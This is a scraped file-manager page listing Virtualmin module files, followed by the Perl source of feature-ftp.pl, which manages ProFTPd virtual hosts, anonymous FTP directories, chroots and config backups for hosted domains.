-rw-r--r--
upgrade-licence.pl
3.91
KB
-rwxr-xr-x
upgrade-license.pl
3.91
KB
-rwxr-xr-x
upgrade.cgi
11.96
KB
-rwxr-xr-x
upload-api-docs.pl
6.18
KB
-rwxr-xr-x
upload-dropbox-file.pl
1.78
KB
-rwxr-xr-x
upload-rs-file.pl
2.83
KB
-rwxr-xr-x
upload-s3-file.pl
3.18
KB
-rwxr-xr-x
usage.cgi
5.71
KB
-rwxr-xr-x
user-template
380
B
-rw-r--r--
useradmin_update.pl
2.71
KB
-rwxr-xr-x
validate-domains.pl
3.54
KB
-rwxr-xr-x
validate.cgi
1.67
KB
-rwxr-xr-x
validate.pl
2.29
KB
-rwxr-xr-x
view_backuplog.cgi
4.28
KB
-rwxr-xr-x
view_domain.cgi
7.04
KB
-rwxr-xr-x
view_log.cgi
1.35
KB
-rwxr-xr-x
view_records.cgi
1.38
KB
-rwxr-xr-x
virtual-server-lib-funcs.pl
534.17
KB
-rwxr-xr-x
virtual-server-lib.pl
15.62
KB
-rwxr-xr-x
virtual_feature_api.pl
21.35
KB
-rwxr-xr-x
virtualmin-licence.pl
1.7
KB
-rwxr-xr-x
vui-lib.pl
7.56
KB
-rwxr-xr-x
warnbw-template
453
B
-rw-r--r--
webmin_menu.pl
6.08
KB
-rw-r--r--
webmincron-fixed.pl
473
B
-rwxr-xr-x
wizard-lib.pl
25.03
KB
-rwxr-xr-x
wizard.cgi
2.09
KB
-rwxr-xr-x
writelogs.pl
690
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : feature-ftp.pl
# Functions for managing a virtual FTP server $feature_depends{'ftp'} = [ 'dir' ]; sub require_proftpd { return if ($require_proftpd++); &foreign_require("proftpd"); } # setup_ftp(&domain) # Setup a virtual FTP server for some domain sub setup_ftp { local ($d) = @_; local $tmpl = &get_template($d->{'template'}); &$first_print($text{'setup_proftpd'}); &obtain_lock_ftp($d); &require_proftpd(); # Get the template local @dirs = &proftpd_template($tmpl->{'ftp'}, $d); # Add the directives local $conf = &proftpd::get_config(); local $l = $conf->[@$conf - 1]; local $addfile = $proftpd::config{'add_file'} || $l->{'file'}; local $lref = &read_file_lines($addfile); local @ips = ( $d->{'ip'} ); if ($d->{'virt6'}) { push(@ips, $d->{'ip6'}); } local @lines = ( "<VirtualHost ".join(" ", @ips).">" ); push(@lines, @dirs); push(@lines, "</VirtualHost>"); push(@$lref, @lines); &flush_file_lines($addfile); # Create directory for FTP root local ($fdir) = ($tmpl->{'ftp_dir'} || 'ftp'); local $ftp = "$d->{'home'}/$fdir"; if (!-d $ftp) { &make_dir($ftp, 0755); &set_ownership_permissions($d->{'uid'}, $d->{'ugid'}, 0755, $ftp); } &release_lock_ftp($d); &$second_print($text{'setup_done'}); ®ister_post_action(\&restart_proftpd); undef(@proftpd::get_config_cache); # Add the FTP server user to the domain's group, so that the directory # can be accessed in anonymous mode local $ftp_user = &get_proftpd_user($d); if ($ftp_user) { &add_user_to_domain_group($d, $ftp_user, 'setup_ftpuser'); } return 1; } # delete_ftp(&domain) # Delete the virtual server from the ProFTPd config sub delete_ftp { local ($d) = @_; &require_proftpd(); &$first_print($text{'delete_proftpd'}); &obtain_lock_ftp($d); local $conf = &proftpd::get_config(); local ($virt, $vconf) = &get_proftpd_virtual($d->{'ip'}); if ($virt) { local $lref = &read_file_lines($virt->{'file'}); splice(@$lref, $virt->{'line'}, $virt->{'eline'} - $virt->{'line'} + 1); &flush_file_lines(); &$second_print($text{'setup_done'}); ®ister_post_action(\&restart_proftpd); undef(@proftpd::get_config_cache); } else { &$second_print($text{'delete_noproftpd'}); } &release_lock_ftp($d); return 1; } # clone_ftp(&domain, &old-domain) # Copy proftpd directives to a new cloned domain sub clone_ftp { local ($d, $oldd) = @_; &$first_print($text{'clone_ftp'}); &require_proftpd(); local $conf = &proftpd::get_config(); local ($virt, $vconf, $anon, $aconf) = &get_proftpd_virtual($d->{'ip'}); local ($ovirt, $ovconf) = &get_proftpd_virtual($oldd->{'ip'}); if (!$ovirt) { &$second_print($text{'clone_ftpold'}); return 0; } if (!$virt) { &$second_print($text{'clone_ftpnew'}); return 0; } &obtain_lock_ftp($d); # Splice across directives, fixing home local $olref = &read_file_lines($ovirt->{'file'}); local $lref = &read_file_lines($virt->{'file'}); local @lines = @$olref[$ovirt->{'line'}+1 .. $ovirt->{'eline'}-1]; foreach my $l (@lines) { $l =~ s/\Q$oldd->{'home'}\E/$d->{'home'}/; } splice(@$lref, $virt->{'line'}+1, $virt->{'eline'}-$virt->{'line'}-1, @lines); &flush_file_lines($virt->{'file'}); ($virt, $vconf, $anon, $aconf) = &get_proftpd_virtual($d->{'ip'}); # Fix server name local $sname = &proftpd::find_directive_struct("ServerName", $vconf); if ($sname) { &proftpd::save_directive("ServerName", [ $d->{'dom'} ], $vconf, $conf); &flush_file_lines($virt->{'file'}); } &release_lock_ftp($d); ®ister_post_action(\&restart_proftpd); &$second_print($text{'setup_done'}); return 1; } # modify_ftp(&domain, &olddomain) # If the server has changed IP address, update the ProFTPd virtual server sub modify_ftp { local ($d, $oldd) = @_; local $rv = 0; if ($d->{'dom'} eq $oldd->{'dom'} && $d->{'home'} eq $oldd->{'home'} && $d->{'ip'} eq $oldd->{'ip'}) { # Nothing important has changed, so exit now return 1; } &obtain_lock_ftp($d); &require_proftpd(); local $conf = &proftpd::get_config(); local ($virt, $vconf, $anon, $aconf) = &get_proftpd_virtual($oldd->{'ip'}); if (!$virt) { &release_lock_ftp($d); return 0; } if ($d->{'dom'} ne $oldd->{'dom'}) { # Update domain name in ProFTPd virtual server &$first_print($text{'save_proftpd2'}); local $sname = &proftpd::find_directive_struct("ServerName", $vconf); if ($sname) { &proftpd::save_directive( "ServerName", [ $d->{'dom'} ], $vconf, $conf); } $rv++; &$second_print($text{'setup_done'}); } if ($d->{'home'} ne $oldd->{'home'} && $anon) { # Update anonymous FTP directory in ProFTPd virtual server &$first_print($text{'save_proftpd3'}); local $lref = &read_file_lines($anon->{'file'}); $lref->[$anon->{'line'}] =~ s/$oldd->{'home'}/$d->{'home'}/; &flush_file_lines($anon->{'file'}); $rv++; &$second_print($text{'setup_done'}); } if ($d->{'ip'} ne $oldd->{'ip'} || $d->{'ip6'} ne $oldd->{'ip6'}) { # Update IP address in ProFTPd virtual server &$first_print($text{'save_proftpd'}); local $lref = &read_file_lines($virt->{'file'}); local @ips = ( $d->{'ip'} ); if ($d->{'virt6'}) { push(@ips, $d->{'ip6'}); } $lref->[$virt->{'line'}] = "<VirtualHost ".join(" ", @ips).">"; &flush_file_lines(); $rv++; &$second_print($text{'setup_done'}); } &release_lock_ftp($d); ®ister_post_action(\&restart_proftpd) if ($rv); return $rv; } # validate_ftp(&domain) # Returns an error message if a domain's ProFTPd virtual server is not found sub validate_ftp { local ($d) = @_; local ($virt, $vconf, $anon, $aconf) = &get_proftpd_virtual($d->{'ip'}); return &text('validate_eftp', $d->{'ip'}) if (!$virt); return undef; } # disable_ftp(&domain) # Disable FTP for this server by adding a deny directive sub disable_ftp { &$first_print($text{'disable_proftpd'}); &obtain_lock_ftp($_[0]); &require_proftpd(); local $ok; local ($virt, $vconf, $anon, $aconf) = &get_proftpd_virtual($_[0]->{'ip'}); if ($anon) { local @limit = &proftpd::find_directive_struct("Limit", $aconf); local ($login) = grep { $_->{'words'}->[0] eq "LOGIN" } @limit; if (!$login) { local $lref = &read_file_lines($anon->{'file'}); splice(@$lref, $anon->{'eline'}, 0, "<Limit LOGIN>", "DenyAll", "</Limit>"); &flush_file_lines(); } &$second_print($text{'setup_done'}); ®ister_post_action(\&restart_proftpd); $ok = 1; } else { &$second_print($text{'delete_noproftpd'}); $ok = 0; } &release_lock_ftp($_[0]); return $ok; } # enable_ftp(&domain) # Enable FTP for this server by removing the deny directive sub enable_ftp { &$first_print($text{'enable_proftpd'}); &obtain_lock_ftp($_[0]); &require_proftpd(); local ($virt, $vconf, $anon, $aconf) = &get_proftpd_virtual($_[0]->{'ip'}); local $ok; if ($virt) { local @limit = &proftpd::find_directive_struct("Limit", $aconf); local ($login) = grep { $_->{'words'}->[0] eq "LOGIN" } @limit; if ($login) { local $lref = &read_file_lines($anon->{'file'}); splice(@$lref, $login->{'line'}, $login->{'eline'} - $login->{'line'} + 1); &flush_file_lines(); } &$second_print($text{'setup_done'}); ®ister_post_action(\&restart_proftpd); $ok = 1; } else { &$second_print($text{'delete_noproftpd'}); $ok = 0; } &release_lock_ftp($_[0]); return $ok; } # proftpd_template(text, &domain) # Returns a suitably substituted ProFTPd template sub proftpd_template { local $dirs = $_[0]; $dirs =~ s/\t/\n/g; $dirs = &substitute_domain_template($dirs, $_[1]); local @dirs = split(/\n/, $dirs); return @dirs; } # check_proftpd_template([directives]) # Returns an error message if the default ProFTPd directives don't look valid sub check_proftpd_template { local ($d, $gotuser, $gotgroup); local @dirs = split(/\t+/, defined($_[0]) ? $_[0] : $config{'proftpd_config'}); foreach $d (@dirs) { $d =~ s/#.*$//; if ($d =~ /^\s*User\s+(\S+)$/i) { defined(getpwnam($1)) || $1 eq '$USER' || $1 eq '${USER}' || return &text('fcheck_euserex', "<tt>$1</tt>"); $gotuser++; } elsif ($d =~ /^\s*Group\s+(\S+)$/i) { defined(getgrnam($1)) || $1 eq '$GROUP' || $1 eq '${GROUP}' || return &text('fcheck_egroupex', "<tt>$1</tt>"); $gotgroup++; } } $gotuser || return $text{'fcheck_euser'}; $gotgroup || return $text{'fcheck_egroup'}; return undef; } # restart_proftpd() # Tell ProFTPd to re-read its config file. Does nothing if run from inetd sub restart_proftpd { &require_proftpd(); local $conf = &proftpd::get_config(); local $st = &proftpd::find_directive("ServerType", $conf); if (lc($st) ne "inetd") { # Call proftpd restart function &$first_print($text{'setup_proftpdpid'}); local $proftpdlock = "$module_config_directory/proftpd-restart"; &lock_file($proftpdlock); local $err = &proftpd::apply_configuration(); &unlock_file($proftpdlock); &$second_print($err ? &text('setup_proftpdfailed', $err) : $text{'setup_done'}); return $err ? 0 : 1; } } # get_proftpd_virtual(ip) # Returns the list of configuration directives and the directive for the # virtual server itself for some domain sub get_proftpd_virtual { local ($ip) = @_; &require_proftpd(); local $conf = &proftpd::get_config(); local $v; foreach $v (&proftpd::find_directive_struct("VirtualHost", $conf)) { if ($v->{'words'}->[0] eq $ip) { # Found it! Looks for the hostname local $a = &proftpd::find_directive_struct("Anonymous", $v->{'members'}); if ($a) { return ($v, $v->{'members'}, $a, $a->{'members'}); } else { return ($v, $v->{'members'}); } } } return (); } # check_ftp_clash(&domain, [field]) # Returns 1 if a ProFTPd server already exists for some domain sub check_ftp_clash { local ($d, $field) = @_; if (!$field || $field eq 'ip') { local ($cvirt, $cconf) = &get_proftpd_virtual($d->{'ip'}); return $cvirt ? 1 : 0; } return 0; } # backup_ftp(&domain, file) # Save the virtual server's ProFTPd config as a separate file sub backup_ftp { local ($d, $file) = @_; &$first_print($text{'backup_proftpdcp'}); local ($virt, $vconf) = &get_proftpd_virtual($d->{'ip'}); if ($virt) { local $lref = &read_file_lines($virt->{'file'}); &open_tempfile_as_domain_user($d, FILE, ">$file"); foreach my $l (@$lref[$virt->{'line'} .. $virt->{'eline'}]) { &print_tempfile(FILE, "$l\n"); } &close_tempfile_as_domain_user($d, FILE); &$second_print($text{'setup_done'}); return 1; } else { &$second_print($text{'delete_noproftpd'}); return 0; } } # restore_ftp(&domain, file) # Update the virtual server's ProFTPd configuration from a file. Does not # change the actual <Virtualhost> lines! sub restore_ftp { local ($d, $file) = @_; &$first_print($text{'restore_proftpdcp'}); &obtain_lock_ftp($d); local ($virt, $vconf) = &get_proftpd_virtual($d->{'ip'}); local $rv; if ($virt) { local $srclref = &read_file_lines($file); local $dstlref = &read_file_lines($virt->{'file'}); splice(@$dstlref, $virt->{'line'}+1, $virt->{'eline'}-$virt->{'line'}-1, @$srclref[1 .. @$srclref-2]); if ($_[5]->{'home'} && $_[5]->{'home'} ne $d->{'home'}) { # Fix up any file-related directives local $i; foreach $i ($virt->{'line'} .. $virt->{'line'}+scalar(@$srclref)-1) { $dstlref->[$i] =~ s/$_[5]->{'home'}/$d->{'home'}/g; } } &flush_file_lines(); &$second_print($text{'setup_done'}); ®ister_post_action(\&restart_proftpd); $rv = 1; } else { &$second_print($text{'delete_noproftpd'}); $rv = 0; } &release_lock_ftp($d); return $rv; } # get_proftpd_log([ip]) # Given a virtual server IP, returns the path to its log file. If no IP is # give, returns the global log file path. sub get_proftpd_log { local ($ip) = @_; if (!&foreign_check("proftpd")) { return undef; } &require_proftpd(); if ($ip) { # Find by IP local ($virt, $vconf) = &get_proftpd_virtual($ip); if ($virt) { return &proftpd::find_directive("ExtendedLog", $vconf) || &proftpd::find_directive("TransferLog", $vconf); } } else { # Just return global log local $conf = &proftpd::get_config(); local $global = &proftpd::find_directive_struct("Global", $conf); return &proftpd::find_directive("TransferLog", $global->{'members'}) || &proftpd::find_directive("ExtendedLog", $global->{'members'}) || &proftpd::find_directive("TransferLog", $conf) || &proftpd::find_directive("ExtendedLog", $conf) || "/var/log/xferlog"; } return undef; } # bandwidth_ftp(&domain, start, &bw-hash) # Searches through FTP log files for records after some date, and updates the # day counters in the given hash sub bandwidth_ftp { local $log = &get_proftpd_log($_[0]->{'ip'}); if ($log) { return &count_ftp_bandwidth($log, $_[1], $_[2], undef, "ftp"); } else { return $_[1]; } } # sysinfo_ftp() # Returns the ProFTPd version sub sysinfo_ftp { &require_proftpd(); $proftpd::site{'version'} ||= &proftpd::get_proftpd_version(); return ( [ $text{'sysinfo_proftpd'}, $proftpd::site{'version'} ] ); } sub startstop_ftp { local ($typestatus) = @_; &require_proftpd(); local $conf = &proftpd::get_config(); local $st = &proftpd::find_directive("ServerType", $conf); if ($st eq 'inetd') { # Running under inetd return ( ); } local $status; if (defined($typestatus->{'proftpd'})) { $status = $typestatus->{'proftpd'} == 1; } else { $status = &proftpd::get_proftpd_pid(); } local @links = ( { 'link' => '/proftpd/', 'desc' => $text{'index_fmanage'}, 'manage' => 1 } ); if ($status) { return ( { 'status' => 1, 'name' => $text{'index_fname'}, 'desc' => $text{'index_fstop'}, 'restartdesc' => $text{'index_frestart'}, 'longdesc' => $text{'index_fstopdesc'}, 'links' => \@links } ); } else { return ( { 'status' => 0, 'name' => $text{'index_fname'}, 'desc' => $text{'index_fstart'}, 'longdesc' => $text{'index_fstartdesc'}, 'links' => \@links } ); } } # Call proftpd module's stop function sub stop_service_ftp { &require_proftpd(); return &proftpd::stop_proftpd(); } sub start_service_ftp { &require_proftpd(); return &proftpd::start_proftpd(); } # show_template_ftp(&tmpl) # Outputs HTML for editing ProFTPd related template options sub show_template_ftp { local ($tmpl) = @_; # ProFTPd directives local @ffields = ( "ftp", "ftp_dir", "ftp_dir_def" ); local $ndi = &none_def_input("ftp", $tmpl->{'ftp'}, $text{'tmpl_ftpbelow'}, 1, 0, undef, \@ffields); print &ui_table_row(&hlink($text{'tmpl_ftp'}, "template_ftp"), $ndi."<br>\n". &ui_textarea("ftp", $tmpl->{'ftp'} eq "none" ? "" : join("\n", split(/\t/, $tmpl->{'ftp'})), 10, 60)); # Directory for anonymous FTP print &ui_table_row(&hlink($text{'newftp_dir'}, "template_ftp_dir_def"), &ui_opt_textbox("ftp_dir", $tmpl->{'ftp_dir'}, 20, "$text{'default'} (<tt>ftp</tt>)", $text{'newftp_dir0'})."<br>". (" " x 3).$text{'newftp_dir0suf'}); } # parse_template_ftp(&tmpl) # Updates ProFTPd related template options from %in sub parse_template_ftp { local ($tmpl) = @_; # Save FTP directives $tmpl->{'ftp'} = &parse_none_def("ftp"); if ($in{"ftp_mode"} == 2) { local $err = &check_proftpd_template($in{'ftp'}); &error($err) if ($err); if ($in{'ftp_dir_def'}) { delete($tmpl->{'ftp_dir'}); } else { $in{'ftp_dir'} =~ /^\S+$/ && $in{'ftp_dir'} !~ /^\// && $in{'ftp_dir'} !~ /\.\./ || &error($text{'newftp_edir'}); $tmpl->{'ftp_dir'} = $in{'ftp_dir'}; } } } sub links_ftp { local ($d) = @_; # Links to FTP log local @rv; local $lf = &get_proftpd_log($d->{'ip'}); if ($lf) { local $param = &master_admin() ? "file" : "extra"; push(@rv, { 'mod' => 'syslog', 'desc' => $text{'links_flog'}, 'page' => "save_log.cgi?view=1&nonavlinks=1". "&linktitle=".&urlize($text{'links_flog'})."&". "$param=".&urlize($lf), 'cat' => 'logs', }); } return @rv; } # get_proftpd_user(&domain) # Returns the Unix user that anonymous FTP access is done as. This is just # taken from the User line in the template directives. sub get_proftpd_user { local ($d) = @_; local $tmpl = &get_template($d->{'template'}); local @dirs = &proftpd_template($tmpl->{'ftp'}, $d); foreach my $l (@dirs) { if ($l =~ /^\s*User\s+(\S+)/) { return $1; } } foreach my $u ("ftp", "anonymous") { return $u if (defined(getpwnam($u))); } return undef; } # Returns 1 if we can configure FTP chroot directories. Assume yes if proftpd # is being used sub has_ftp_chroot { return $config{'ftp'}; } # list_ftp_chroots() # Returns a list of chroot directories. Each is a hash ref with keys : # group - A group to restrict, or undef for all # neg - Negative if to apply to everyone except that group # dir - The chroot directory, or ~ for users' homes sub list_ftp_chroots { local @rv; &require_proftpd(); local $conf = &proftpd::get_config(); $proftpd::conf = $conf; # get_or_create is broken in Webmin 1.410 local $gconf = &proftpd::get_or_create_global($conf); foreach my $dr (&proftpd::find_directive_struct("DefaultRoot", $gconf)) { local $chroot = { 'dr' => $dr, 'dir' => $dr->{'words'}->[0] }; if ($dr->{'words'}->[1] eq '') { # Applies to all groups } elsif ($dr->{'words'}->[1] =~ /,/) { # Applies to many .. too complex to support next; } elsif ($dr->{'words'}->[1] =~ /^(\!?)(\S+)$/) { $chroot->{'neg'} = $1; $chroot->{'group'} = $2; } push(@rv, $chroot); } return @rv; } # save_ftp_chroots(&chroots) # Updates the list of chroot'd directories. sub save_ftp_chroots { local ($chroots) = @_; &require_proftpd(); local $conf = &proftpd::get_config(); $proftpd::conf = $conf; local $gconf = &proftpd::get_or_create_global($conf); # Find old directives that we can't configure yet local @old = &proftpd::find_directive_struct("DefaultRoot", $gconf); local @keep = grep { $_->{'words'}->[1] =~ /,/ } @old; local @newv = map { $_->{'value'} } @keep; # Add new ones foreach my $chroot (@$chroots) { local @w = ( $chroot->{'dir'} ); if ($chroot->{'group'}) { push(@w, ($chroot->{'neg'} ? "!" : "").$chroot->{'group'}); } push(@newv, join(" ", @w)); } &proftpd::save_directive("DefaultRoot", \@newv, $gconf, $conf); &flush_file_lines(); ®ister_post_action(\&restart_proftpd); } # Lock the ProFTPd config file sub obtain_lock_ftp { return if (!$config{'ftp'}); &obtain_lock_anything(); if ($main::got_lock_ftp == 0) { &require_proftpd(); &lock_file($proftpd::config{'proftpd_conf'}); &lock_file($proftpd::config{'add_file'}) if ($proftpd::config{'add_file'}); undef(@proftpd::get_config_cache); } $main::got_lock_ftp++; } # Unlock the ProFTPd config file sub release_lock_ftp { return if (!$config{'ftp'}); if ($main::got_lock_ftp == 1) { &require_proftpd(); &unlock_file($proftpd::config{'proftpd_conf'}); &unlock_file($proftpd::config{'add_file'}) if ($proftpd::config{'add_file'}); } $main::got_lock_ftp-- if ($main::got_lock_ftp); &release_lock_anything(); } $done_feature_script{'ftp'} = 1; 1;
Close